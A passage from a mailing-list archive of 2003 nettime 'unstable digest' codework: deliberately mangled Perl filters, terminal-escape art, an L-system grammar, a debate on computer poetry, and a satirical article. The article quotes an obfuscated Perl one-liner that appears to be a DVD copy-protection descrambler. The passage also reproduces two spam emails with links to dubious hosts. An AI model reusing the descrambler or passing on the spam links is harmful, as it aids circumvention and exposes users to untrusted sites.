:me:la..\nre:me:la:ka:re:re:fa.\nre:re:fa.ka:re:sol:ti:\nre:sol:ti:ka:re:re:do.\nre:re:do..ka:re:re:fa:\nre:re:fa.ka:re:me:re:.\nre:mi:la:ka:re:me:sol:\nre:me:sol:ka:do:me:la.\ndo:me:la.ka:re:me:la..\nre:me:la:ka:re:re:fa.\nre:re:fa.ka:re:sol:ti:\nre:sol:ti:ka:re:re:do.\nre:re:do..ka:re:re:fa:\nre:re:fa.ka:re:me:re:.\nre:re:re:ka:re:fa:la:.\nre:fa:la:ka:fa:re:re:\nfa:re:re:.ka:me:re:re:\nme:re:re:..ka:me:ti:re:\nme:ti:re:ka:do:re:re:\nre:do:do:ka:sol:ti:re:.\nre:sol:ti..ka:sol:re:re:\nre:sol:sol:ka:la:re:me\ndo:re:re:.ka:re:do:re:\nei:nz:ka..ka:ei:nz:.\nme:do:do:ka:do:me:do.\nre:dp:fa..ka:fa:do:re:.\nre:fa:ti..ka:ti:re:fa:\nre:sol:ti..ka:ti:re:sol.\nre:mi:la:ka:re:me:sol:\nre:me:sol:ka:do:me:la.\ndo:me:la.ka:re:me:la..\nre:me:la:ka:re:re:fa.\nre:re:fa.ka:re:sol:ti:\nre:sol:ti:ka:re:re:do.\nre:re:do..ka:re:re:fa:\nre:re:fa.ka:re:me:re:.\nre:re:re:ka:re:fa:la:.\nre:fa:la:ka:fa:la:re:\ndo:re:re:ka:re:do:re:\nme:re:re:ka:re:re:me..\nfa:fa:re:ka:la:fa:fa.\nka:re:ka:do:ka:do:ka:\nre:ka:la:ka:fa:ka:re:\nfa:ka:ti:ka:re:ka:me:\nka:do:ka:ti:ka:me:ka:\nsol:ka:la:la:la:la:la:la::::::::::::::::::::;\n\n>\n\n__________________________________\nDo you Yahoo!?\nThe New Yahoo! Search - Faster. Easier. Bingo.\nhttp://search.yahoo.com\n\n\n\n\n\nnettime unstable digest vol 48\nSun May 25 22:17:07 2003\n\n\nSubject: problem economic democratic II\n    From: Karl-Erik Tallmo <tallmo {AT} NISUS.SE>\n    To: WRYTING-L {AT} LISTSERV.UTORONTO.CA\n\nSubject: _txt.fault_\n    From: \"][mez][\" <netwurker {AT} hotkey.net.au>\n    To: _arc.hive_ {AT} lm.va.com.au,7-11 {AT} mail.ljudmila.org\n\nSubject: \n    From: \"[]\" <kanztanz {AT} YAHOO.COM>\n    To: WRYTING-L {AT} LISTSERV.UTORONTO.CA\n\nSubject: raw error\n    From: diocletian {AT} visi.com (Karl Petersen)\n    To: 7-11 {AT} mail.ljudmila.org\n\nSubject: Re: \"quote.spc\" [[_arc.hive_]\n    From: a u t u m n - f r e q u e n c y <star.power {AT} usa.net>\n    To: \"filt\" <_arc.hive_ {AT} lm.va.com.au>\n\nSubject: Re: [sc-dev] File.sc\n    From: c-k-h-r-o-m-a-s-c-h-i-n-e-s <c-k-h-r-o-m-a-c-h-i-n-e {AT} chromaticspaceandworld.com>\n    To: sc-dev {AT} create.ucsb.edu\n\nSubject: problem economic democratic II\n    From: Karl-Erik Tallmo <tallmo {AT} NISUS.SE>\n    To: WRYTING-L {AT} LISTSERV.UTORONTO.CA\n\nSubject: \"The Health of Radio Maps Regional Electronics\"\n    From: Alan Sondheim <sondheim {AT} PANIX.COM>\n    To: WRYTING-L {AT} LISTSERV.UTORONTO.CA\n\nSubject:  {AT} HALLUCINATION Weekly\n    From: Alexei Shulgin <alexei {AT} easylife.org>\n    To: Florian Cramer <cantsin {AT} zedat.fu-berlin.de>\n\nSubject: bop m\n    From: \"[]\" <kanztanz {AT} YAHOO.COM>\n    To: WRYTING-L {AT} LISTSERV.UTORONTO.CA\n\nSubject: Seach Me\n    From: J Lehmus <jlehmus {AT} neubauten.org>\n    To: cybermind {AT} LISTSERV.AOL.COM\n\nSubject: Cranian\n    From: Alan Sondheim <sondheim {AT} PANIX.COM>\n    To: WRYTING-L {AT} LISTSERV.UTORONTO.CA\n\nSubject: My Interruptions\n    From: Alan Sondheim <sondheim {AT} panix.com>\n    To: _arc.hive_ {AT} lm.va.com.au\n\nSubject: _r.e[ther]ality system[ic]_\n    From: \"][mez][\" <netwurker {AT} hotkey.net.au>\n    To: _arc.hive_ {AT} lm.va.com.au,7-11 {AT} mail.ljudmila.org,audiovision {AT} egroups.com,\n\nSubject: Information for paragram {AT} gmx.net (gmx)\n    From: Fatimah Fatica <Valeriejwx {AT} wap.hu>\n    To: <paragram {AT} gmx.net>\n\nSubject: Re:  UNOPPOSED QUEST  #0001\n    From: +   lo_y.  + <loy {AT} myrealbox.com>\n    To: syndicate {AT} anart.no\n\nSubject: c# Bush\n    From: <dymond {AT} idirect.ca>\n    To: <_arc.hive_ {AT} lm.va.com.au>\n\nSubject: _sonAR Tension_\n    From: \"][mez][\" <netwurker {AT} hotkey.net.au>\n    To: _arc.hive_ {AT} lm.va.com.au,7-11 {AT} mail.ljudmila.org,audiovision {AT} egroups.com\n\nSubject: the matrix did suck\n    From: solipsis <solipsis {AT} HEVANET.COM>\n    To: WRYTING-L {AT} LISTSERV.UTORONTO.CA\n\nSubject: sol:me:do:re:la\n    From: \"[]\" <kanztanz {AT} YAHOO.COM>\n    To: WRYTING-L {AT} LISTSERV.UTORONTO.CA\n\n\n\nlurking editors\n\nbeatrice beaubien <i2eye {AT} mac.com>\n    7-11 nettime-bold thingist \nflorian cramer <cantsin {AT} zedat.fu-berlin.de>\n    7-11 _arc.hive_ eu-gene o-o rhizome rohrpost webartery wryting \nalan sondheim <sondheim {AT} panix.com>\n    7-11 _arc.hive_ poetics siratori trAce webartery wryting \n$Id: digestunstable.pl,v 1.13 2003/01/26 18:51:21 paragram Exp $\n\n#  distributed via <nettime>: no commercial use without permission\n#  <nettime> is a moderated mailing list for net criticism,\n#  collaborative text filtering and cultural politics of the nets\n#  more info: majordomo {AT} bbs.thing.net and \"info nettime-l\" in the msg body\n#  archive: http://www.nettime.org contact: nettime {AT} bbs.thing.net\n\n",
                "date": "Mon, 26 May 2003 00:01:48 +0200",
                "to": "Nettime <nettime-l {AT} bbs.thing.net>",
                "message-id": "200305260408.h4Q48YV02178 {AT} bbs.thing.net",
                "url": "https://nettime.org/Lists-Archives/nettime-l-0305/msg00067.html",
                "list": "nettime_l",
                "author_name": "Florian Cramer",
                "subject": "<nettime> unstable digest vol 48"
            },
            {
                "content-type": "text/plai",
                "from": "lorian Cramer <cantsin {AT} zedat.fu-berlin.de>",
                "id": "00021",
                "content": "\n\n\nDate: 6 May 2003 09:45:07 -0000\nFrom: ringo55 {AT} illegal.de\nTo: \nSubject: =?ISO-2022-JP?B?GyRCIVo2WzVeRkM9OCFbPXckLDVhGyhC?=\n\n\u001b$B=w$NM_K>$O!\"CK$,9M$($k$h$j$O$k$+$K6/$$\u001b(B!!\n\n\u001b$B$$$^!\"=w$?$A$O!HFs$D$N?M {AT} 8!I$r {AT} 8$-$F$$$^$9!#\u001b(B\n\u001b$BCK$?$A$O=w$N%(%C%A$NM_K>$rK~B-$5$;$k6/$5$r\u001b(B\n\u001b$B$b$D$HF1;~$K%3%3%m$rK~$?$7!\"L~$9B8:_$K\u001b(B\n\u001b$B$J$i$J$1$l$P$J$i$J$j$^$;$s!#\u001b(B\n\u001b$B5.J}$ {AT} $1$KCK$NCN$i$J$$=w$NG.$$BN$H?4$NHkL)$r65$($^$9!#\u001b(B\n\n\n\u001b$B>\\$7$/$O2<5-$r%/%j%C%/\u001b(B!! \nhttp://kameatama.net/meetsh1/\n\n\n\u001b$B=w$N?4$HBN$r;W$$DL$j$K$7$F$_$^$;$s$+!#!#!#\u001b(B\n\n\n\n\n*\u001b$B:G6a$$$?$:$i$,B?$$$h$&$G$9!#\u001b(B\n\u001b$B:#8e!\"J {AT} <R$h$j$40FFb$r4uK>$5$l$J$$>l9g$O!\"\u001b(B\n\u001b$B {AT} ?$K62$lF~$j$^$9$,!\"7oL>$r6uMs$N$^$^JV?.$7$F$/$ {AT} $5$$!#\u001b(B\n\n\n\n\n\u001b$B!VAw?.<TI=<(!W\u001b(B \nRobin, Maggie or George \nKowloon, TST, HK SRA. \nringo55 {AT} illegal.de\n\n\n\nDate:         Sun, 4 May 2003 23:13:16 -0400\nFrom: Alan Sondheim <sondheim {AT} PANIX.COM>\nSubject: lok33!\nTo: WRYTING-L {AT} LISTSERV.UTORONTO.CA\n\nlok33!\n\n\n#!/uzr/lokl/bO!On/prl5\n\n\nwhO!Ole (<ZTDO!ON>) {\n        z/vel/lv/g;\n        z/veL/Lv/gO!O;\n        z/(\\UU)z([aeO!Oou!])/1tz2/g;\n        z/B([e]*[^aeO!Oou!][aeO!Oou!])/B1/g;\n        z/b([e]*[^aeO!Oou!][aeO!Oou!])/b1/g;\n        z/B[e]+(\\UU)/B1/g;\n        z/b[e]+(\\UU)/b1/g;\n        z/EEK(\\UU)/sz1/g;\n        #z/ek[]/sz1/g;\n        #z/([^aeO!Oou!][^aeO!Oou!])e(\\z)/12/g;\n        #z/([^aeO!Oou!])e([^aeO!Oou!][^aeO!Oou!])/12/g;\n        z/ooh/o/g;\n        z/([\\UU]*)01(\\UU)/1\\\\ooh\\12/g;\n        z/([\\UU]*)K++(\\UU)/1+2/g;\n        z/([\\UU]*)u(\\UU)/1u2/g;\n        z/([\\UU]*)U(\\UU)/1U2/g;\n        z/([\\UU]*)ru(\\UU)/1r2/g;\n        z/([\\UU]*)ru(\\UU)/1R2/gO!O;\n        z/([\\UU]*)ROBOT robot dzre(\\UU)/1da2/g;\n        z/([\\UU]*)robot dzre(\\UU)/1Da2/gO!O;\n        z/([\\UU]*)t[o]+(\\UU)/1\\22/gO!O;\n        z/(\\UU)uu/1u/g;\n        z/(\\UU)UU/1U/g;\n        z/uu(\\UU)/u1/g;\n        z/UU(\\UU)/U1/g;\n        z/fato[u]*r/4/gO!O;\n        z/[tk]O!Oon/zO!Oon/gO!O;\n        z/([\\UU]*)ru(\\UU)/1=2/gO!O;\n        z/([\\UU]*)=(\\UU)/1=2/gO!O;\n        z/([\\UU]*)= dzat(\\UU)/1=2/gO!O;\n        z/([\\UU]*)uure(\\UU)/1=2/gO!O;\n        z/([\\UU]*)uuaz(\\UU)/1=2/gO!O;\n        z/([\\UU]*)=(\\UU)/1=2/gO!O;\n        z/[\\UU +?/gO!O;\n        z/l(\\UU)/l1/g;\n        z/uEEK/usz/g;\n        z/l/l/g;\n        z/z([^zh])/z1/g;\n        z/Z([^ZH])/Z1/gO!O;\n        z/-k/-k/g;\n        z/k([O!Oe!])/z1/g;\n        z/k/k/g;\n        z/K/K/gO!O;\n        z/th([aeO!Oou!])/dz1/g;\n        z/Th([aeO!Oou!])/Dz1/gO!O;\n        z/k/k/g;\n        z/K/K/gO!O;\n        z/tr/tr/g;\n        # O!O rulez\n        z/O!On([de])/9n1/gO!O;\n        z/O!O/!/gO!O;\n        z/!([\\UU])/!1/gO!O;\n        # voom! rulez\n        z/voom!(\\UU)/v1/g;\n        z/VOOM!(\\UU)/V1/g;\n        z/voom!/f/g;\n        z/r/r/g;\n        z/(\\UU)f/1voom!/g;\n        z/\\\\([ooh-9])/1/g;\n        z/z[e][ea](\\UU)/z1/g;\n        z/kx/kkx/g;\n        z///g;\n        prO!Ont $_;\n        }\n#!/uzr/lokl/b!n/prl5\n\n\nwh!le (<ZTD!N>) {\n        z/lv/vel/g;\n        z/Lv/veL/g!;\n        z/(\\U)z([ae!ou!])/1TAZ2/g;\n        z/B([e]*[^ae!ou!][ae!ou!])/BOO1/g;\n        z/b([e]*[^ae!ou!][ae!ou!])/OOP1/g;\n        z/B[e]+(\\U)/B1/g;\n        z/b[e]+(\\U)/b1/g;\n        z/sz(\\U)/EEK1/g;\n        #z/ek[]/eek1/g;\n        #z/([^ae!ou!][^ae!ou!])e(\\z)/12/g;\n        #z/([^ae!ou!])e([^ae!ou!][^ae!ou!])/12/g;\n        z/o/ooh/g;\n        z/([\\U]*)01(\\U)/1\\\\o\\12/g;\n        z/([\\U]*)+(\\U)/1K++2/g;\n        z/([\\U]*)u(\\U)/1u2/g;\n        z/([\\U]*)U(\\U)/1U2/g;\n        z/([\\U]*)r(\\U)/1ru2/g;\n        z/([\\U]*)r(\\U)/1RUR2/g!;\n        z/([\\U]*)da(\\U)/1ROBOT Da2/g;\n        z/([\\U]*)Da(\\U)/1robot da2/g!;\n        z/([\\U]*)t[o]+(\\U)/1\\42/g!;\n        z/(\\U)u/1uu/g;\n        z/(\\U)U/1UU/g;\n        z/u(\\U)/u1/g;\n        z/U(\\U)/U1/g;\n        z/fo[u]*r/4/g!;\n        z/[tk]!on/trak|^shun/g!;\n        z/([\\U]*)r(\\U)/1=2/g!;\n        z/([\\U]*)=(\\U)/1=2/g!;\n        z/([\\U]*)= dzat(\\U)/1=2/g!;\n        z/([\\U]*)ure(\\U)/1=2/g!;\n        z/([\\U]*)uaz(\\U)/1=2/g!;\n        z/([\\U]*)=(\\U)/1=2/g!;\n        z/[\\U +?/g!;\n        z/l(\\U)/l1/g;\n        z/usz/usz/g;\n        z/l/l/g;\n        z/z([^zh])/z1/g;\n        z/Z([^ZH])/Z1/g!;\n        z/-k/-k/g;\n        z/k([!e!])/z1/g;\n        z/k/k/g;\n        z/K/K/g!;\n        z/th([ae!ou!])/dz1/g;\n        z/Th([ae!ou!])/Dz1/g!;\n        z/k/k/g;\n        z/K/K/g!;\n        z/tr/tr/g;\n        # ! rulez\n        z/!n([de])/9n1/g!;\n        z/!/O!O/g!;\n        z/!([\\U])/!1/g!;\n        # v rulez\n        z/v(\\U)/voom!1/g;\n        z/V(\\U)/VOOM!1/g;\n        z/v/fat/g;\n        z/r/r/g;\n        z/(\\U)f/1v/g;\n        z/\\\\([o-9])/1/g;\n        z/z[e][ea](\\U)/z1/g;\n        z/kx/kkx/g;\n        z///g;\n        pr!nt $_;\n        }\n\n\n___\n\n\n\nFrom: <dymond {AT} idirect.ca>\nTo: <_arc.hive_ {AT} lm.va.com.au>\nSubject: in a simple philip -ick\nDate: Fri, 9 May 2003 01:11:15 -0400 (EDT)\n\nusing System;\nnamespace OurHours {\nclass IamHere {\npublic void Being() {\nConsole.WriteLine(\"I am almost sure of it\");\n}\npublic int WeAre;\npublic int HowManyOfUs(int WeReachOut) {\nthis.WeAre=WeReachOut;\nreturn WeReachOut;\n}\n}\nclass MainExistenze {\npublic static void main(String[] args) {\nIamHere IamToday=new IamHere();\nint allOfUs=IamToday.HowManyOfUs(1000000);\nif (allOfUs==IamToday.WeAre) {\nIamToday.Being();\n}\n\n}\n}\n}\n\n\n\n\nDate: Sat, 03 May 2003 17:48:48 +0200\nFrom: Maurizio Mariotti <mariotti {AT} venturenet.co.za>\nTo: CYBERMIND {AT} LISTSERV.AOL.COM\nSubject: Test Shows 99.99% of High School Seniors Can't Read Perl\n\n.\n\nTest Shows 99.99% of High School Seniors Can't Read Perl\n\nSan Francisco, CA - Recent results from the standardized Perl Fluency\nTest showed that 99.99% of US high school seniors can't read Perl.\nThis disturbing statistic shows that American students are painfully\nunprepared for life after graduation.\n\n\"This shows that there is a real need for a Perl Monk in every\nclassroom,\" said Perl Monk Kelly Adrity.  \"We've got computers in every\nclassroom, now we need our kids to be able to use them, and what better\nway to learn about computers than to learn how to read and write in\nPerl.  I'm glad the budget proposed by President Bush sets aside\nmillions for Perl Monks.  America will lead the way in Perl literacy.\"\n\n\nThe four hour test had 2 sections, a simple translation section and a\nproject section. The first part asked students to translate easy Perl\nphrases into their standard English equivalent, and the second section\nrequired students to produce a simple MP3 player in Perl.  \"I didn't\nknow what the hell any of it  meant,\" said one Senior, \"it had lots of\nslashes and periods and brackets. It was so confusing.  I'm feeling\nrather nauseous.\"\n\nPerl experts were astounded by the results.  \"I was amazed that none of\nthe students were able to read this simple sentence:\n\n$_='while(read+STDIN,$_,2048){$a=29;$c=142;if(( {AT} a=unx\"C*\",$_)\n[20]&48){$h=5;$_=unxb24,join\"\", {AT} b=map{xB8,unxb8,chr($_^$a[--$h+8 4])}\n {AT} ARGV;s/...$/1$&/;$d=unxV,xb25,$_;$b=73;$e=256|(ord$b[4])<<9|ord $b[3];\n$d=$d>>8^($f=($t=255)&($d>>12^$d>>4^$d^$d/8))<<17,$e=$e>>8^($t&\n($g=($q=$e>>14&7^$e)^$q*8^$q<<6))<<9,$_=(map{$_%16or$t^=$c^=\n($m=(11,10,116,100,11,122,20,100)[$_/16%8])&110;$t^=(72, {AT} z=(64,7 2,$a^\n=12*($_%16-2?0:$m&17)),$b^=$_%64?12:0, {AT} z)[$_%8]}(16..271))[$_]^\n(($h>>=8)+=$f+(~$g&$t))for {AT} a[128..$#a]}print+x\"C*\", {AT} a}';s/x/pack\n+/g;eval\n\nI mean, come on, that's so easy,\" said Paul Chen, Chairman of the Learn\nPerl or Die Association, which administered the test nationwide.\n\"Teachers need to start with simple phrases like  $RF=~tr/A-Z/a-z/; and\nwork up from there.  We really need to start teaching this in first\ngrade if kids are ever going to understand this by high school.\"\n\nNot everyone shared Mr. Chen's view about the necessity of adding Perl\nto early elementary curricula.  Programmers Against Perl (PAP)\nspokesperson, Keith Willingham said, \"There's no better way to scare\nstudents away from computers than exposing them to Perl.  Even\nexperienced programmers are frightened and confused by it.  The Perl\nlobby is just getting too powerful, and they need to be stopped.\"\n\n(BBspot LLC)\n\n.\n\n\n\nFrom: Alan Sondheim <sondheim {AT} panix.com>\nTo: _arc.hive_ {AT} lm.va.com.au\nSubject: rainy day in unixville\nDate: Sun, 4 May 2003 17:52:35 -0400 (EDT)\n\n\n\nrainy day in unixville\n\n\nMMMMMMMM[1;24r[H[H[24;37H[2;18H-[3;17H/ \\[4;16H| O |[5;17H\\\n/[6;18H-[6;43H-[7;42\nH|.|[7;75H.[8;43H-[11;18H[K[12;17H[K[13;18H[K[15;36HO   o\n[K[23;36H[K[24;55H[2;\n18H[K[3;17H[K[4;16H[K[5;17H   [5;43H-[6;18H [6;42H/ \\[6;74H.[7;41H| O\n|[7;75Ho[8\n;42H\\ /[9;43H-[14;36H-[15;35H|.|  O[16;36H-[6;19H[5;43H[K[6;42H\n[6;74Ho[7;41H\n    [7;75HO[8;42H[K[9;43H[K[13;36H-[14;35H/ \\  -[15;34H| O ||.|[16;35H\\ /\n-[17;\n18H.[17;36H-[9;44H[6;74HO-[7;74H|.|[8;75H-[13;36H    -[14;17H.[14;35H    /\n\\[15;\n34H      O |[16;35H    \\ /[17;18Ho[17;36H [5;74H--[6;73H|/ \\[7;73H| O\n|[8;74H\\ /\n[9;75H-[11;48H.[13;40H[K[14;17Ho[14;39H[K[15;\n40H[K[16;39H[K[17;18HO[17;40H[K\n[4;\n74H-[5;73H/\n[6;72H|[K[7;73H[K[8;74H[K[9;75H[K[11;48Ho[14;17HO[16;18H-[17;17H|.|\n[18;18H-[21;19H.[9;76H[4;74H[K[5;73H[K[6;72H[K[11;\n48HO[13;17H-[14;16H|.|[15;17H-\n-[15;47H.[16;17H/ \\[17;16H| O |[18;17H\\\n/[19;18H-[21;19Ho[8;75H[4;8H.[10;48H-[11\n;47H|.|[12;17H-[12;48H-[13;16H/ \\[14;15H| O |[15;16H\\\n[15;47Ho[16;17H[K[17;16H[\nK[18;17H[K[19;18H[K[21;19H[A[A[4;8Ho[9;48H-[10;47H/ \\[11;13H.[11;46H| O\n|[12;17H\n [12;47H\\ /[13;16H   [13;48H-[14;15H[K[15;16H\n[15;47HO[20;19H-[21;18H|.|[22;19H-\n[16;18H[4;8HO[9;48H[K[10;47H[K[11;13Ho[11;\n46H[K[12;47H[K[13;48H[K[14;47H-[15;46H\n|.|   .[16;47H-[19;19H-[20;18H/ \\[21;17H| O |[22;18H\\\n/[23;19H-[13;49H[3;8H-[4;7\nH|.|[5;8H-[11;13HO[11;23H.[13;47H-[14;46H/ \\[15;45H| O |  o[16;46H\\\n/[17;47H-[19\n;19H[K[20;18H[K[21;17H[K[22;18H[K[23;19H[K [2;8H-[3;7H/ \\[4;6H| O |[5;7H\\\n/[6;8H\n-[10;13H-[11;12H|.|[11;23Ho[12;13H-[13;47H[K[14;46H[K[15;45H\nO[16;46H[K[17\n;47H[K[22;46H.[17;48H[2;8H[K[3;7H[K[4;6H[K[5;7H[K[6;8H\n[6;28H.[9;13H-[10;12H/ \\[\n11;11H| O |       O[12;12H\\\n/[13;13H-[14;52H-[15;51H|.|[16;52H-[22;46Ho[6;9H[5;5\n9H.[6;28Ho[9;13H[K[10;12H   [10;23H-[11;11H           |.|[12;12H\n[12;23H-[13;1\n3H [13;52H-[14;51H/ \\[15;50H| O |[16;51H\\\n/[17;52H-[22;46HO[13;14H[5;59Ho[6;28HO\n[8;14H.[9;23H-[10;22H/ \\[11;21H| O\n\n\n___\n\n\nTo: webartery {AT} yahoogroups.com\nFrom: Alan Sondheim <sondheim {AT} panix.com>\nDate: Wed, 7 May 2003 12:05:49 -0400 (EDT)\nSubject: I, ROBOT\n\n\n\nI, ROBOT\n\ntzzzh/([\\UtZzzhE-YOU]*)ROBOT robot Tho\nrnyornyornyornyornyornyornyornyornyorn\nyornyornyornyornyornyornYkoRpoRatee(\\U\ntZzzhE-YOU)/1ROBOT robot Thornyornyorn\nyornyornyornyornyornyornyornyornyornyo\nrnyornyornyornYkoRpoRatee2/g;\ntzzzh/([\\UtZzzhE-YOU]*)robot Thornyorn\nyornyornyornyornyornyornyornyornyornyo\nrnyornyornyornyornYkoRpoRatee(\\UtZzzhE\n-YOU)/1robot ROBOT robot Thornyornyorn\nyornyornyornyornyornyornyornyornyornyo\nrnyornyornyornYkoRpoRatee2/gO!O;\ntzzzh/([\\UtZzzhE-YOU]*)= Thornyornyorn\nyornyornyornyornyornyornyornyornyornyo\nrnyornyornyornYat(\\UtZzzhE-YOU)/1=2/gO\n!O;\ntzzzh/th([aeO!Oou!])/Thornyornyornyorn\nyornyornyornyornyornyornyornyornyornyo\nrnyornyornYorn!1/g;\ntzzzh/Th([aeO!Oou!])/Thornyornyornyorn\nyornyornyornyornyornyornyornyornyornyo\nrnyornyorn!1/gO!O;\n\n___\n\n \n\nYour use of Yahoo! Groups is subject to http://docs.yahoo.com/info/terms/ \n\n\n\n\n\nDate: Sun, 4 May 2003 16:32:54 -0700\nFrom: solipsis <solipsis {AT} HEVANET.COM>\nTo: WRYTING-L {AT} LISTSERV.UTORONTO.CA\nSubject: L-System Pegasus\n\n\n\nL-System Pegasus\n\n# ---AirHorse\n18     # recursion level\n10     # basic angle\n200     # starting thickness\n^^^^^C     # axiom\n#-------------------------------------- Creature\nC=LBW\n#-------------------------------------- Body\nB=[[''aH]|[g]]\na=Fs+;'a     # upper part\ng=Ft+;'g    # lower part\ns=[::cc!!!!&&[FFcccZ]^^^^FFcccZ] # upper spikes\nt=[c!!!!&[FF]^^FF]   # lower spikes\n#-------------------------------------- Lungs\nL=O     # 8 recursions delay\nO=P\nP=Q\nQ=R\nR=U\nU=X\nX=Y\nY=V\nV=[cc!!!&&&&&&&&&[Zp]|[Zp]]\np=h>>>>>>>>>>>>h>>>>>>>>>>>>h\nh=[++++!F'''p]\n#-------------------------------------- Head\nH=[cccci[>>>>>dcFFF][<<<<<ecFFF]]\nd=Z!&Z!&:'d    # left\ne=Z!^Z!^:'e    # right\ni=-:\"i\n#-------------------------------------- Wing\nW=[%[!!cb][<<<!!cb][>>>!!cb]]\nb=Fl!+Fl+;'b    # arc\nl=[-cc{--z++z++z--|--z++z++z}]\n#-------------------------------------- End\n {AT} \n\n\n\nFrom: svalvotajuklochywpy {AT} lycos.com\nDate: Mon, 05 May 2003 15:42:02 -0500\nTo: cantsin {AT} mail.zedat.fu-berlin.de\nSubject: <SPAM?> ''ensimm{isen ADAC a-brac abazur\n\n<!-- saved from url=(0022)http://internet.e-mail -->\n<html><abdikace><AENEIDOSQVE><abdikace><AENEIDOSQVE><abdikace><AENEIDOSQVE>\n<axtkphkfpaca><jafmxteiyl><qefcamrcnpbsik>\n<ubjtuh><oqaknrsixyge><ncgdrdqmgfack>\n<abdikace><AENEIDOSQVE><abdikace><AENEIDOSQVE><abdikace><AENEIDOSQVE>\n<abdikace><AENEIDOSQVE><abdikace><AENEIDOSQVE><abdikace><AENEIDOSQVE>\n \n\n<a href=\"http://rxilsoxfcgmv {AT} 200.206.185.248/ada/dtb/\";>\n<img src=\"http://bnllvn {AT} 200.206.185.248/ada/dtb/jhr.gif\";>\n<p>\n<html><abdikace><AENEIDOSQVE><abdikace><AENEIDOSQVE><abdikace><AENEIDOSQVE>\n<spivljtedinq><rankadmfxayyxh><asgnbivk>\n<bkyqywsrt><egukewspufj><mptprfcxgdfo>\n<abdikace><AENEIDOSQVE><abdikace><AENEIDOSQVE><abdikace><AENEIDOSQVE>\n<abdikace><AENEIDOSQVE><abdikace><AENEIDOSQVE><abdikace><AENEIDOSQVE>\n</a>\n\n</html>\n\n\n\n\nDate: Wed, 7 May 2003 12:33:40 -0400 (EDT)\nFrom: Alan Sondheim <sondheim {AT} panix.com>\nTo: anna balint <epistolaris {AT} freemail.hu>\nSubject: Re:  Re:  Dze Ztandard !nzkr!pz!on\n\n\n------------=_1052325226-626-631\nContent-Type: TEXT/PLAIN; charset=X-UNKNOWN\nX-MIME-Autoconverted: from 8bit to quoted-printable by anart.no id h47GXkE03786\n\n\n\ndear anna balint,\n\nFor me the heart of this is your definition\n- generative and combinatory character\n- random and aleatory character\n- interactivity\nand my work certainly doesn't fall in these categories. The nearest would\nbe the \"generative character\" - generated from an input text transformed\nthrough one or another text filter (in this case, perl). Some of the text=\ns\nare the application of a filter to itself recursively, F(F(F)) for\nexample.\n\nIn this sense, they could be hand-written and hand-substituted. But then,\ngenerative poetry is based on algorithms as well which could be reproduce=\nd\nby hand.\n\nI don't look at them as poetry, although others do. I see them as investi=\n-\ngations into language, into encoding, into the political economy of\nlanguage, into the reception-structure and phenomenology of the reader,\ninto the making and construction of sense. For this reason I'm also\ninterested in the input of 'urgent texts' - I just sent the following in\nresponse to a query on webartery -\n\n\"'urgent text' - which also relates to the pascal implementation of a\nprogram similar to sondheim.exe which I did in the 70s - a text which\ndemands to be heard - a political text - a text whose desire or body\npushes it forward - a text of discomfiture, dis/ease - as if language\nhad/has that urgency in a state of deprivation - as in a site or\nsituation of the political economy of language - language of the last\ncry for example - or a structure almost toppling, weathering - the\nlanguage of the last syntax - the lost syntax - sartre's politics of\nscarcity -\n\nstructure as well - exposure or duplication/shimmering of structure - its\nshuddering -\"\n\n- in other words, the input text is critical.\n\nThere _are_ interactive works - for example programs written in display o=\nn\nlinux (display is a very very simple interfacing for text input etc.) -\nand I will give these programs to others for inputting/processing - the\nresult, however, is then fixed. In this sense, the posted texts are\nsimilar to those of Mez and the materials from solipsis, etc., that are\ngarnered for the Unstable Digest on Nettime, and fall under the aegis of\ncodework.\n\nHere is an example that may clarify things - there is an essay in\nClassical Chinese called the 1000 Character Essay; each is different. It'=\ns\na difficult text, and a friend of mine and I are slowly translating it.\nAnyway, I asked Florian Cramer, who is much more adept than I am at\nprogramming, if he could write a script that would take a text and have i=\nt\ndo the same thing - i.e. each word would appear only once in the output.\nHe did that, and later I also changed the script. But the original assign=\ns\na different value to words than is usually the case - instead of numerous\ninstances of each word, each word is unique, almost the way a person is\nunique. So the result is a different economy and aesthetics, and the\nresulting texts reflect that.\n\nI do consider these works art, but not necessarily independent art-works;\nthe Internet Text as a whole is always in-process, in a making (one of th=\ne\nold Scottish words for 'poet' is 'makar'). Instead they're resonances for\nme, which can both stand on their own, or possess their own fit in the\nText, which like Jabes' texts, seems to be interminable.\n\nAnd finally, it's the machine that fascinates me - protocols, languages,\nfilterings, processes, operating systems, code in general - which\nunderlies what we do, but is rarely brought to the surface. In my work,\nand the work of others, the surface and depths have an uneasy relationshi=\np\nwith each other - interpenetrating, confusing - almost as if the under-\npinnings of culture - all that desire and rupture - appeared back on the\nsurface, breaking through etiquette...\n\nFinally, finally, the mode of distribution - through email lists (not, in\ngeneral, syndicate, of course, but webartery, Poetics, Imitationpoetics,\narc, wryting, Cybermind), is an intrinsic part of the texts, which often\nplay with the time of arrival, inbox placement, and so forth -\n\nAlan -\n\n\nOn Wed, 7 May 2003, anna balint wrote:\n\n> dear Alan Sondheim,\n>\n> do you consider these transformation programs\n> art? Or you think that each text generated with it\n> - is an individual art piece? Or we should look to\n> you work as conceptual-or visual poetry?\n>\n> If i have to take a position, i prefer to think that\n> none of them is poetry. They don't fit\n> to any category with which i define computer poetry:\n> - generative and combinatory character\n> - random and aleatory character\n> - interactivity\n>\n> I understand that computer poetry involves the\n> charactersitics of the medium in the work,\n> and i don't treat separately each text\n> generated with the help of a program,\n> that would much limit the area of research,\n> but i consider the whole\n> program and texts as one work, to the degree\n> that i include ephemerality and irreproducibility\n> in the list of characteristics of computer poetry.\n>\n> Some works that inspire my criteria:\n>\n> 1959 Theo Lutz devolops a program on the computer of\n> the Technical Univeristy in Stuttgart that combined\n> 40 words and generates gramatically correct sentences\n>\n> 1959 Brion Gysin together with the mathematician\n> Ian Sommerville permute the words of his poem\n> 'I Am That I Am' with a computer, and\n> also in 1961 the poem 'Junk is No Good Baby'\n>\n> 1964 Jean A. Baudot publishes 'Machine a ecrire',\n> the first volume with poems generated on the\n> computer, at Les \u00e9ditions du jour, Montr\u00e9al\n>\n> 1965 Emmett Williams permuted on the computer\n> the 10 most used words of Dante's Divina Commedia\n> [occhi, mondo, terre, dio, maestro, ciel, mente,\n> dolce, amor] and genereted a 213 lines long litany\n> of them, and also in 1966 he generated a poem\n> with the title 'IBM'\n>\n> 1967 Baudot's book inspired Pierre Moretti to\n> present with his amateur theater company\n> Saltimbaques a theater piece generated on\n> computer. Baudot generated the text on the\n> basis of a vocabulary defined by Moretti.\n> They presented the piece with the title\n> '\u00c9quation pour un homme actuel' in  the\n> Pavillion de la Jeunesse in Quebec at the\n> Young Theater Festival. It became a 